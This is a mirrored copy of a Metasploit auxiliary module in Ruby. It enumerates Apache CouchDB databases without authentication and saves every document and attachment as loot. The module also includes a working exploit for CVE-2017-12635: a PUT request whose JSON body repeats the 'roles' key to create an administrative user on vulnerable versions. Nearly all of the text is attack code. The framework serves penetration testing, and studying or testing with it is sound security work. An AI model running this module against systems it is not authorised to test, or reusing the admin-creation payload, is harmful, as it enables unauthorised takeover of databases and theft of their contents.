Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/couchdb/couchdb_enum.rb
19582 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'CouchDB Enum Utility',
15
'Description' => %q{
16
This module enumerates databases on CouchDB using the REST API
17
(without authentication by default).
18
},
19
'References' => [
20
['CVE', '2017-12635'],
21
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
22
['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']
23
],
24
'Author' => [
25
'Max Justicz', # Vulnerability discovery
26
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module
27
'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements
28
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used
29
],
30
'License' => MSF_LICENSE,
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [],
34
'Reliability' => []
35
}
36
)
37
)
38
39
register_options(
40
[
41
Opt::RPORT(5984),
42
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
43
OptBool.new('SERVERINFO', [true, 'Print server info', false]),
44
OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),
45
OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),
46
OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),
47
OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])
48
]
49
)
50
end
51
52
def valid_response(res)
53
return res.code == 200 && res.headers['Server'].include?('CouchDB')
54
end
55
56
def get_version
57
@version = nil
58
59
begin
60
res = send_request_cgi(
61
'uri' => '/',
62
'method' => 'GET'
63
)
64
rescue Rex::ConnectionError
65
vprint_bad("#{peer} - Connection failed")
66
return false
67
end
68
69
unless res
70
vprint_bad("#{peer} - No response, check if it is CouchDB.")
71
return false
72
end
73
74
if res && res.code == 401
75
print_bad("#{peer} - Authentication required.")
76
return false
77
end
78
79
if res && res.code == 200
80
res_json = res.get_json_document
81
82
if res_json.empty?
83
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
84
return false
85
end
86
87
@version = res_json['version'] if res_json['version']
88
return true
89
end
90
91
vprint_warning("#{peer} - Version not found")
92
true
93
end
94
95
def check
96
return Exploit::CheckCode::Unknown unless get_version
97
98
version = Rex::Version.new(@version)
99
return Exploit::CheckCode::Unknown if version.version.empty?
100
101
vprint_good("#{peer} - Found CouchDB version #{version}")
102
103
return Exploit::CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
104
105
Exploit::CheckCode::Safe
106
end
107
108
def get_dbs(auth)
109
begin
110
res = send_request_cgi(
111
'uri' => normalize_uri(target_uri.path),
112
'method' => 'GET'
113
)
114
115
temp = JSON.parse(res.body)
116
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
117
print_error("#{peer} - The following error was encountered: #{e.class}")
118
return
119
end
120
121
unless valid_response(res)
122
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
123
return
124
end
125
126
print_status("#{peer} - Enumerating Databases...")
127
results = JSON.pretty_generate(temp)
128
print_good("#{peer} - Databases:\n\n#{results}\n")
129
path = store_loot(
130
'couchdb.enum',
131
'application/json',
132
rhost,
133
results,
134
'CouchDB Databases'
135
)
136
137
print_good("#{peer} - File saved in: #{path}")
138
res.get_json_document.each do |db|
139
r = send_request_cgi(
140
'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),
141
'method' => 'GET',
142
'authorization' => auth,
143
'vars_get' => { 'include_docs' => 'true', 'attachments' => 'true' }
144
)
145
146
if r.code != 200
147
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")
148
break
149
end
150
151
temp = JSON.parse(r.body)
152
results = JSON.pretty_generate(temp)
153
path = store_loot(
154
"couchdb.#{db}",
155
'application/json',
156
rhost,
157
results,
158
'CouchDB Databases'
159
)
160
print_good("#{peer} - #{db} saved in: #{path}")
161
end
162
end
163
164
def get_server_info(_auth)
165
res = send_request_cgi(
166
'uri' => '/',
167
'method' => 'GET'
168
)
169
170
temp = JSON.parse(res.body)
171
172
unless valid_response(res)
173
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
174
return
175
end
176
177
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
178
179
print_good("#{peer} - #{JSON.pretty_generate(temp)}")
180
report_service(
181
host: rhost,
182
port: rport,
183
name: 'couchdb',
184
proto: 'tcp',
185
info: res.body
186
)
187
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
188
print_error("#{peer} - The following error was encountered: #{e.class}")
189
end
190
191
def create_user
192
username = datastore['HttpUsername']
193
password = datastore['HttpPassword']
194
roles = datastore['ROLES']
195
timeout = datastore['TIMEOUT']
196
197
data = %({
198
"type": "user",
199
"name": "#{username}",
200
"roles": ["#{roles}"],
201
"roles": [],
202
"password": "#{password}"
203
})
204
res = send_request_cgi(
205
{
206
'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username
207
'method' => 'PUT',
208
'ctype' => 'text/json',
209
'data' => data
210
}, timeout
211
)
212
213
unless res && res.code == 200
214
print_error("#{peer} - Change Failed")
215
return
216
end
217
218
print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")
219
end
220
221
def run
222
username = datastore['HttpUsername']
223
password = datastore['HttpPassword']
224
225
if datastore['CREATEUSER']
226
fail_with(Failure::Unknown, 'get_version failed in run') unless get_version
227
version = Rex::Version.new(@version)
228
print_good("#{peer} - Found CouchDB version #{version}")
229
create_user if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
230
end
231
232
auth = basic_auth(username, password) if username && password
233
get_server_info(auth) if datastore['SERVERINFO']
234
get_dbs(auth)
235
end
236
end
237
238